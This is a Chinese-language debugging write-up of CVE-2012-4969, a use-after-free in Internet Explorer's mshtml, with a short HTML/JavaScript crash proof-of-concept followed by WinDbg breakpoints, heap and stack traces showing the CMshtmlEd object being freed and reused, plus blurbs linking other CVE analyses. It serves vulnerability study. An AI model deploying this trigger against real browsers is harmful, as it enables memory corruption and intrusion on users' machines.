CVE-2012-4969分析

1. Poc

<HTML> <BODY> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "W"; </script> <iframe src="CVE-2012-4969.HTML"></iframe> </body> </HTML> CVE-2012-4969.HTML <HTML> <script> function funcB() { document.execCommand("selectAll"); }; function funcA() { document.write("Y"); parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; }; </script> <body onload='funcB();' onselect='funcA()'> < div contenteditable='true'> a </div> </body> </HTML>

2. 基本知识点

CMshtmlEd:这个类的基本功能是分发IOleCommandTarget命令到Tridnet range objects
CEditRouter:消息分发类
CHTMLEditor:消息管理类
CCommand:消息的具体实现类,可以看成是一个二叉树的node。多个CCommand组成一个CCommandTable。
这些类的基本关系是:
CHTMLEditor管理CCommandTable所包含的消息,每一个消息都有一个cmd_id。
当CEditRouter路由消息时,会获取相应的CHTMLEditor。CHTMLEditor会根据具体的情况决定是否创建CMshtmlEd。
在命令路由的过程中,最终会到达CMshtmlEd::Exec函数。该函数通过消息ID,获得最后的消息类CCommand,执行相关的命令。

3. 分配

当CVE-2012-4969.HTML被加载时,在onload时刻,funcB函数被执行。
funcB中
document.execCommand("selectAll");
会创建CMshtmlEd对象,来执行相关命令。
在windbg中设置如下断点,来监视CMshtmlEd的创建和释放。

0:008> bl 0 e 6375bf32 0001 (0001) 0:**** mshtml!CMshtmlEd::~CMshtmlEd 1 e 6359de45 0001 (0001) 0:**** mshtml!CMshtmlEd::CMshtmlEd 2 e 637d45bc 0001 (0001) 0:**** mshtml!CMshtmlEd::Exec 3 e 637d464b 0001 (0001) 0:**** mshtml!CMshtmlEd::Exec+0x131

CVE-2012-4969分析

CVE-2012-4969分析

在构造函数中,可以看到CMshtmlEd对象的地址是:05f06f78

0:008> !heap -p -a edx address 05f06f78 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 3939c20: 5f06f78 88 - 5f06000 2000 mshtml!CMshtmlEd::`vftable' 7c938f01 ntdll!RtlAllocateHeap+0x00000e64 6359dab5 mshtml!CHTMLEditor::AddCommandTarget+0x00000020 6385ac44 mshtml!CHTMLEditor::GetCommandTarget+0x00000094 637d41c5 mshtml!CHTMLEditorProxy::GetCommandTarget+0x0000001e 637d4091 mshtml!CEditRouter::SetInternalEditHandler+0x00000064 637d4355 mshtml!CEditRouter::ExecEditCommand+0x000000ac 637be2fc mshtml!CDoc::ExecHelper+0x00003c91 638afda7 mshtml!CDocument::Exec+0x00000024 638ee2a9 mshtml!CBase::execCommand+0x00000050 638b167b mshtml!CDocument::execCommand+0x00000093 638e7445 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x00000149 636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1 63643595 mshtml!CBase::InvokeEx+0x00000025 63643832 mshtml!DispatchInvokeCollection+0x0000014b 635e1cdc mshtml!CDocument::InvokeEx+0x000000f1 63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020

G运行后,
在CMshtmlEd处断下:
CVE-2012-4969分析

CVE-2012-4969分析

CMshtmlEd::Exec的基本功能就是通过cmd_id获得对应的CCommand对象,而后通过CCommand对象执行命令。
CVE-2012-4969分析

获得CSelectAllCommand的地址后:060a8fe8,通过CSelectAllCommand对象执行Exec函数。重点在该函数的执行,下面会详细讲解。

4. 释放

在上述过程创建完CMshtmlEd对象,获得CCommand的地址后,调用Exec函数。在Poc脚本中,可以知道,CSelectAllCommand命令的执行,将会调用funcA函数,从而调用document.write。

function funcA() { document.write("Y"); parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; };

在CDocument::write设置断点:

4 e 63773f06 0001 (0001) 0:**** mshtml!CDocument::write
G后运行:

0:008> kv ChildEBP RetAddr Args to Child 038f84e8 63774271 062fafc8 041b0fe8 043bafd0 mshtml!CDocument::write 038f8508 636430c9 062fafc8 043bafd0 041acfd8 mshtml!Method_void_SAFEARRAYPVARIANTP+0x85 jscript!ScrFncObj::CallWithFrameOnStack+0xff 038f8b70 633a5743 038f8b9c 00000000 0448ce20 jscript!ScrFncObj::Call+0x8f 038f8bec 633a8bc7 04458f88 038fafe8 00000000 jscript!CSession::Execute+0x175 038f8cd4 633a8a35 04458f88 00000000 00000001 jscript!NameTbl::InvokeDef+0x1b8 038f8d58 633a6d37 04458f88 00000000 00000001 jscript!NameTbl::InvokeEx+0x129 038f8d98 633a6c75 0449ed10 00000000 00000001 jscript!IDispatchExInvokeEx2+0xf8 038f8dd4 63399186 0449ed10 00000001 00000001 jscript!IDispatchExInvokeEx+0x6a 038f8e64 635fe083 038f8e28 00000004 00000001 jscript!NameTbl::InvokeEx+0x372 038f8e9c 635fdfab 06380fb0 00000001 00000001 mshtml!CScriptCollection::InvokeEx+0x8a 038fbdac 639db7af 05f92f38 0564eff0 05652ff0 mshtml!CSelectionManager::Select+0x761 038fbe00 63a04421 05f92f38 05f08fc0 038fbe24 mshtml!CSelectionManager::SelectAll+0x27c 038fbe48 637d46b1 00000002 00000000 00000000 mshtml!CSelectAllCommand::PrivateExec+0x1f3 038fbe68 637d4649 00000002 00000000 00000000 mshtml!CCommand::Exec+0x48 038fbe8c 637d4387 05f06f78 6361bad0 0000001f mshtml!CMshtmlEd::Exec+0x128 038fbebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6

看蓝色的部分,可以知道 Exec执行的过程中,会调用document.write函数重写页面,页面的重写,将导致和页面相关的CMshtmlEd对象被释放:
G后继续运行,在mshtml!CMshtmlEd::~CMshtmlEd断下:
CVE-2012-4969分析

这里可以看到,被析构的CMshtmlEd对象正是我们跟踪的那个0x05f06f78。

0:008> kv ChildEBP RetAddr Args to Child 038f8278 6375bf17 05f06f78 038f829c 639d53d6 mshtml!CMshtmlEd::~CMshtmlEd+0xf (FPO: [0,0,0]) 038f8284 639d53d6 05f06f78 05434f20 00000000 mshtml!CMshtmlEd::Release+0x16 038f829c 639d0d30 05f06f78 041aefd8 00000000 mshtml!CHTMLEditor::DeleteCommandTarget+0x34 038f82c8 6385ac12 038f82ec 6361c270 05434f20 mshtml!CHTMLEditor::RemoveContainer+0x15f 038f82d0 6361c270 05434f20 0000000f 062d2f30 mshtml!CHTMLEditor::Notify+0x26 038f82ec 6360feb4 05434f20 0000000f 062d2f30 mshtml!CHTMLEditorProxy::Notify+0x21 038f8308 637e6671 062d2f30 00000000 041bef30 mshtml!CDoc::NotifySelection+0x59 038f8370 637525ff 041bef30 00000000 00000003 mshtml!COmWindowProxy::SwitchMarkup+0x347 038f846c 637561c5 062fafc8 00000000 00000000 mshtml!CDocument::open+0x417 038f84e8 63774271 062fafc8 041b0fe8 043bafd0 mshtml!CDocument::write+0x7c 038f8508 636430c9 062fafc8 043bafd0 041acfd8 mshtml!Method_void_SAFEARRAYPVARIANTP+0x85 038f857c 63643595 062fafc8 0000041e 00000001 mshtml!CBase::ContextInvokeEx+0x5d1 038fbdac 639db7af 05f92f38 0564eff0 05652ff0 mshtml!CSelectionManager::Select+0x761 038fbe00 63a04421 05f92f38 05f08fc0 038fbe24 mshtml!CSelectionManager::SelectAll+0x27c 038fbe48 637d46b1 00000002 00000000 00000000 mshtml!CSelectAllCommand::PrivateExec+0x1f3 038fbe68 637d4649 00000002 00000000 00000000 mshtml!CCommand::Exec+0x48 038fbe8c 637d4387 05f06f78 6361bad0 0000001f mshtml!CMshtmlEd::Exec+0x128 038fbebc 637be2fc 6361bad0 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6 038fc278 638afda7 062fafc8 6361bad0 0000001f mshtml!CDoc::ExecHelper+0x3c91 038fc298 638ee2a9 062fafc8 6361bad0 0000001f mshtml!CDocument::Exec+0x24

析构完成后,在mshtml!CMshtmlEd::Release中,对象最终被释放。
CVE-2012-4969分析

CEditRouter::SetInternalEditHandler

看此时的调用链表:
CVE-2012-4969分析

CVE-2012-4969分析

CVE-2012-4969分析

看此时的调用链表:
CMshtmlEd::Exec
CCommand::Exec
CMshtmlEd::Release
也就是在CMshtlEd::Exec函数还没执行完成时,CMshtmlEd对象已经被释放,这是导致释放后重用的原因。

5. 重用

在 释放 中,CMshtmlEd::Exec还没执行完成,CMshtmlEd对象已经被释放。
下面看回到Exec函数时的情况:
CVE-2012-4969分析

在CCommand::Exec执行完毕后,会获取CMshtmlEd对象的内容,其中edi为其地址,这里可以看到,该地址已经被重用了,所表示的也不在是CMshtmlEd对象:

!heap -p -a edi address 05f06f78 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 3939c20: 5f06fa0 5c - 5f06000 2000 mshtml!COmWindowProxy::`vftable' 7c938f01 ntdll!RtlAllocateHeap+0x00000e64 637dedf4 mshtml!COmWindowProxy::SecureObject+0x000000bf 637759b7 mshtml!COmWindowProxy::get_parent+0x00000037 636237bb mshtml!G_IDispatchp+0x0000007b 636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1 63643595 mshtml!CBase::InvokeEx+0x00000025 636434e4 mshtml!COmWindowProxy::InvokeEx+0x000002c7 636435c4 mshtml!COmWindowProxy::subInvokeEx+0x00000026 63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020 63642eec mshtml!PlainInvokeEx+0x000000ea 633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8 633a6c75 jscript!IDispatchExInvokeEx+0x0000006a 633a9cfe jscript!InvokeDispatchEx+0x00000098 633a9d79 jscript!VAR::InvokeByDispID+0x00000154 633a9dd8 jscript!VAR::InvokeDispMem+0x00000033 633a9d9a jscript!NameTbl::GetValCore+0x00000093

当继续运行时:由于错误的地址被当作CMshtmlEd对象,会导致内存破会。

CVE-2012-4969分析
CVE-2012-4969分析

6. 小结

1〉document.execCommand("selectAll");的执行,会生出CmshtmlEd A对象。并且在CmshtmlEd对象中会调用相应的函数A.exec,去调用document.write("c")
2〉document.write("c")的执行,会释放A。
3〉当返回到A.exec继续运行时,由于需要访问A的成员,而A已经释放,导致释放后重用问题

分类:默认分类 时间:2012-01-05 人气:15
本文关键词:
分享到:

相关文章

  • CVE-2012-0158 分析笔记 2012-03-12

    前言 为学习 od、windbg 工具的使用,理解漏洞分析的过程,选取了该例子进行 分析,过程主要学习了下面两篇文章的方法。 Chence:CVE-2012-0158 MSCOMCTL 控件漏洞分析 Metazhou:Step by Step 调试 CVE?2012?0158 POC 1、环境 1.1 实验环境: Windows xp sp3; Office2003 版本:11.5604.5606。 1.2 POC: Chence 提供的 poc 文件,改 poc 释放一个计算器程序并执行; C

  • CVE-2012-1875:mshtml.dll Use-After-Free漏洞分析 2012-07-16

    by KK 一、漏洞描述 CVE-2012-1875是IE累积安全更新MS12-037中的一处Use-After-Free漏洞。当用户访问由攻击者精心构造的恶意HTML页面时,攻击者若成功利用该漏洞,即可实现远程代码执行。 二、POC调试环境 操作系统:WINDOWS XP3 浏览器: IE 8.0.6001.18702 漏洞模块:mshtml.dll 8.0.6001.19222 三、漏洞细节 为了方便说明漏洞成因,笔者对外国友人提供的POC做了简单的修改,POC如图1-1所示: 图1-1 P

  • CVE-2012-0003漏洞分析与修复 2012-10-10

    作者:riusksk(泉哥) 主页:http://riusksk.blogbus.com 漏洞公告 漏洞分析 首先分配大小为0x400的堆空间: 这时分配的堆空间,我们标记为vulBuff。通过exploit-db上的Msf代码可以知道winmm.dll是在解析midi文件”MTrk”域中的event时,若处理的是Note On(0x9X)或者Note Off(0x8X)事件时就可能导致溢出。上面的Msf代码使用以下事件用于触发漏洞: 根据midi文件格式可以知道Note On事件应该是以9X

  • Adobe Flash Player远程代码执行漏洞分析(CVE-2012-1535) 2012-10-15

    漏洞信息 发布日期:2012-08-14 更新日期:2012-08-16 受影响系统: Adobe Flash Player 11.x 描述: BUGTRAQ ID: 55009 CVE ID: CVE-2012-1535 Adobe Flash Player是一个集成的多媒体播放器。 Windows和Mac OS X平台上Adobe Flash Player 11.3.300.271之前版本,Linux平台上11.2.202.238之前版本,在实现上存在不明细节漏洞,可允许远程攻击者通过SWF

  • CVE-2012-0809漏洞补丁源码对比分析 2014-02-14

    漏洞描述 CVE-2012-0809是Sudo 1.8.0 ~ 1.8.3p1版本之间的sudo_debug函数存在格式化字符串漏洞,当把程序名作为格式化字符串的一部分传递给fprintf() 函数时就会触发该漏洞。而程序名可通过ln命令来创建符号连接或者其它一些方式来被利用。例如: /tmp $ ln -s /usr/bin/sudo %n /tmp $ ./%n -D9 借助通用的格式化字符串漏洞利用技术可能执行任意代码,进而获得Root权限。 源码比对 下面是对版本号1.8.3p1与1.8

  • CVE-2012-0053详解 2014-09-27

    0x00 背景 Apache服务器2.2.0-2.2.21版本存在一个漏洞(CVE-2012-0053),攻击者可通过给网站植入超大的Cookie,使得HTTP头超过apache的LimitRequestFieldSize(最大请求长度)4192字节,apache便会返回400错误,状态页中就包含了http-only保护的cookies。 0x01 详情 老外在exploit-db上公布了测试apache站点是否有这个问题的js代码。 http://www.exploit-db.com/expl

  • 利用Metasploit编写Adobe Flash(CVE-2012-0779)漏洞模块 2013-04-11

    上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。 根据报告,此漏洞目前在网络上已

  • CVE-2012-0774分析报告 2013-04-17

    一.漏洞描述 Adobe Reader在阅读PDF文件时使用一些公共格式载入字体说明,比如TrueTypeFont (TTF).<TTF是Apple公司和Microsoft公司共同推出的字体文件格式> TTF中有几个片段负责格式化存储字体字形的描述,其中一个片段是字节码语言,它由TTF渲染器中的一个解释器执行。这个解释器是一个基于堆栈的虚拟机,因此它使用的大部分指令都以某种方式修改指令。MINDEX指令可以从栈中弹出一个值,并利用这个值作为一个索引进入栈区。该索引上的值被移到栈顶,栈

  • Microsoft Windows Shell Command Injection - MS12-048 (CVE-2012-0175) 2013-11-27

    Background Windows File Association allows an application to define a handler that should be called for each operation on a specific file type. For example, WinRAR registers the file type .RAR in the following manner: The Open action defined for this

Copyright (C) quwantang.com, All Rights Reserved.

趣玩堂 版权所有 京ICP备15002868号

processed in 0.051 (s). 10 q(s)